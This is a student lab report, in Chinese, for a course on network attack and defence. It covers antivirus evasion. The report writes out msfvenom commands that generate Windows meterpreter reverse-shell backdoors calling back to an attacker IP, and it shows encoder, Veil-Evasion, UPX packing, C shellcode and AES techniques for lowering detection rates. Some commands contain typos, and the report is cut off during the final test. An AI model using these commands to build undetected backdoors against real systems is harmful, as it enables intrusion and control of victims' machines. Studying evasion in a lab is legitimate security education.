https://img2024.cnblogs.com/blog/2551150/202404/2551150-20240410194927935-1305012291.png
20212325 2023-2024-2 《网络与系统攻防技术》实验三实验报告
20212325 2023-2024-2 《网络与系统攻防技术》实验三实验报告1.实验内容2.实验过程2.1基础问题回答(1)杀软是如何检测出恶意代码的?(2)免杀是做什么?(3)免杀的基本方法有哪些?2.2正确使用msf编码器、msfvenom生成如jar之类的其他文件免杀检测生成jar格式的后门文件生成php格式的后门文件生成py文件2.3使用veil,加壳工具veil的安装对后门进行加壳处理2.4使用C + shellcode编程2.5通过组合应用各种技术实现恶意代码免杀利用python+aes_encrypt2.6用另一台电脑实测,在杀软开启的情况下,可运行并回连成功生成raw格式shellcode文件安装shellcode_launcher后实现回连回连成功!3.问题及解决方案4.学习感悟和思考
1.实验内容
-
使用msf编码器和veil-evasion生成各种类型的文件进行免杀测试,理解免杀的含义和基本思想,进行各种免杀尝试;
-
通过组合应用各种技术实现恶意代码免杀,尝试用另一台电脑测试回连。
2.实验过程
2.1基础问题回答
(1)杀软是如何检测出恶意代码的?
目前杀毒软件的原理主要有3种:
-
引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
-
启发式Heuristic,通过程序的一些行为和特征来判断。
-
在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。
(2)免杀是做什么?
免杀就是躲开杀软的识别,免杀的基本思想就是破坏特征,这里的特征有可能是特征码,还有可能是行为特征,只要破环了病毒或木马的固有特征,并且保证原有的功能没有改变,那么免杀就算是完成了。
(3)免杀的基本方法有哪些?
1.改变特征码
-
exe文件可以通过加壳的方法。加壳又包括压缩壳和加密壳。
-
如果有shellcode(像Meterpreter),可以用encode进行编码,基于payload重新编译生成可执行文件,反复编码降低被查杀的可能性。
-
如果有源代码,用其他语言进行重写再编译(如本次实验使用到的veil-evasion) 2.改变行为
-
通讯方式 使用反弹式连接,即服务端(被控制端)会主动连接客户端(控制端)。
-
使用隧道技术 隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送,把所有要传送的数据全部封装到合法的报文里进行传送以绕过防火墙。
-
加密数据
2.2正确使用msf编码器、msfvenom生成如jar之类的其他文件
免杀检测
-
参考实验二,在Kali上用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.2 LPORT=2325 -f exe > 20191218_backdoor.exe
生成针对Windows的毒化后门可执行程序
-
放入VirusTotal和360安全卫士中进行扫描
-
VirusTotal中的扫描结果
70款杀软中56款报出了病毒,不加处理的后门程序能被大部分的杀软检测到
-
火绒杀毒检测结果
-
使用msf编码器多次迭代,生成exe文件
-
编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
-
一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符 在Kali中输入如下命令
msfvenom -p windows/meterpreter/reverse_top -e x86/shikata_ga_nai -b '\x00' LHOST=172.20.10.2 LPORT=2325 -f exe > 20212325_exp3. exe
用VirusTotal检测还是能检测出问题
加入多次编码参数-i
,继续尝试
查杀还是会检测出病毒
以上步骤说明简单的多次编码无法实现免杀
生成jar格式的后门文件
病毒检测
有32个机构检测出病毒
生成php格式的后门文件
检测
火绒检测
生成py文件
病毒检测
发现检测出病毒的机构没了
火绒
下面尝试使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率。
2.3使用veil,加壳工具
veil的安装
安装命令行
sudo apt-get install veil-evasion
下载成功后,修改setup.sh
:
cd /usr/share/veil/config sudo vim setup.sh #权限需要提升才能修改
进入vim命令模式输入:set number
显示行号,找到260行,修改下载源
修改完成后继续安装veil
,一路点击下一个(或者默认选项)即可使用veil-evasion生成后门程序及检测
用use evasion
命令进入Evil-Evasion
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
设置IP和端口set LHOST 172.20.10.2
和set LPORT 2325
输入generate
生成文件,接着输入命名20212325_payload,如果不输入就是默认为payload
文件传到Win10主机上通过VirusTotal检测,仍能被46个机构检测出病毒
对后门进行加壳处理
使用命令upx /var/lib/veil/output/compiled/20212325_payload.exe -o 20212325_payload_upx. exe
进行加壳
再次检测,发现基本没有太大变化
2.4使用C + shellcode编程
通过命令用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_top thost=172.20.10.2 1port=2325 -f c>20212325_c.c
生成攻击代码如下
下面将攻击代码写进C语言,使用i686-w64-mingw32-g++ 20212325_c.c -o 20212325_c.exe
编译成Win10下可执行文件
再次进行检测,检出率还是有所下降的
2.5通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,进入配置文件
修改好ip和端口号之后生成文件
生成了三个文件20212325_evasion、setup、runme,依次进行检测,20212325_evasion仍然能检测出来
利用python+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件
2.6用另一台电脑实测,在杀软开启的情况下,可运行并回连成功
生成raw格式shellcode文件
将其传到主机进行杀软扫描
kali:
Win7:
用杀软进行扫描,未发现病毒